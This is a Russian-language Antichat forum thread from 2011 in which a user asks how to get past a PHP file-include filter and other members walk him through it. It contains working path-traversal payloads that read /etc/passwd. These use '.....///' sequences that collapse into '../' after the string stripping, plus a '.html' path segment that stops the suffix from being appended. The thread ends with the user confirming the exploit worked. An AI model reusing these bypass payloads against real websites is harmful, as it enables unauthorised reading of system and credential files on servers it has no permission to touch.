HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 15.12.2011, 00:17
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

есть запрос

Цитата:
Сообщение от None  
index.php?file=\..\..\..\..\..\..\..\..\etc\passwd
Выдает ответ

Цитата:
Сообщение от None  
Template Execution Halted! Error: /etc/passwd.html (Template file does not exist)
А вот сама фильтрация в файле index.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"http://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"ftp://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"://"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]chr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"../"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"%"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]".html"[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]".html"[/COLOR][COLOR="#007700"];

}

[/
COLOR][/COLOR
Кроме того при обработке file фильтруется

PHP код:
[COLOR="#000000"]$theValue = str_replace(";","",$theValue);

$theValue
= str_replace("[COLOR="#0000BB"][/COLOR]","",$theValue);

$theValue = htmlentities($theValue);

[/
COLOR
Это как то можно обойти и заинклудить файл?

Мои благодарности!!!
 
Ответить с цитированием

  #2  
Старый 15.12.2011, 01:27
Чакэ
Участник форума
Регистрация: 15.08.2010
Сообщений: 260
С нами: 8285366

Репутация: 62
По умолчанию

никак. тут, хоть и по быдляцки организованная, но всё же, фильтрация есть на конец файла что будет инклудится. выйти на пределы папки можно используя ...../// а вот расширение не отбросить.
 
Ответить с цитированием

  #3  
Старый 15.12.2011, 01:30
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

По папкам перебераться научился.

При запросе

Цитата:
Сообщение от None  
index.php?file=/.....///admin/blank
Цитата:
Сообщение от None  
Template Execution Halted!
Error: /var/site/www/templates/compiled//../admin/blank.html (Cannot create compiled version - check user rights on compiled directory)
а при

Цитата:
Сообщение от None  
index.php?file=/.....///default
выдает default.html в корневой директории.

Но вот как отрезать .html

Пробовал слеши.

при запросе

Цитата:
Сообщение от None  
index.php?file=/.....///index.php//// (8143 слешей)
дает

Цитата:
Сообщение от None  
Request-URI Too Large
The requested URL's length exceeds the capacity limit for this server.
если слешей меньше - просто говорит что не найден файл(((

Может кто подскажет как откинуть хвост?

Спасибо
 
Ответить с цитированием

  #4  
Старый 15.12.2011, 01:34
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

To Чакэ

Спасибо большое

Пока писал пост - ты ответил.
 
Ответить с цитированием

  #5  
Старый 15.12.2011, 01:35
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

если научился перебратся по папкам, тогда .html легко вырезать, в коде же написано, если в имени файла есть .html , то добавлятся не будет в конце, то есть можешь использовать .html Например как имя папки, а потом выйти за его пределы
 
Ответить с цитированием

  #6  
Старый 15.12.2011, 01:41
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

To Konqi

ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить
 
Ответить с цитированием

  #7  
Старый 15.12.2011, 01:45
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

Цитата:
Сообщение от jangle  
To Konqi
ПОЖАЛУЙСТА покажи как на моих примерах выше. Суть не могу уловить
$file = '/папка/.html/[выйти_за_пределы_папки_.html]/а_тут_что_хочешь'

в этом случий в конце не будет добавлено .html, так как условие if (strpos($file,".html") == FALSE)) НЕ выполняется
 
Ответить с цитированием

  #8  
Старый 15.12.2011, 01:49
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
С нами: 10249722

Репутация: 5
По умолчанию

Ура получилось

Цитата:
Сообщение от None  
index.php?file=/.html/.....///.....///.....///.....///.....///.....///etc/passwd
To Konqi

ты просто ГЕНИЙ!!!!!!!!!!!
 
Ответить с цитированием

  #9  
Старый 15.12.2011, 17:53
aydin-ka
Новичок
Регистрация: 03.05.2009
Сообщений: 7
С нами: 8960082

Репутация: -14
По умолчанию

Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA например так:

http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd
 
Ответить с цитированием

  #10  
Старый 16.12.2011, 00:40
Boolean
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами: 8255126

Репутация: 78
По умолчанию

Цитата:
Сообщение от aydin-ka  
Я конечно в этом плохо разбираюсь...а можно "пойти" через протокол DATA
например так:
http://site.ru/index.php?id=data:,&cmd=../../../../../../etc/passwd
Не неси чушь.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.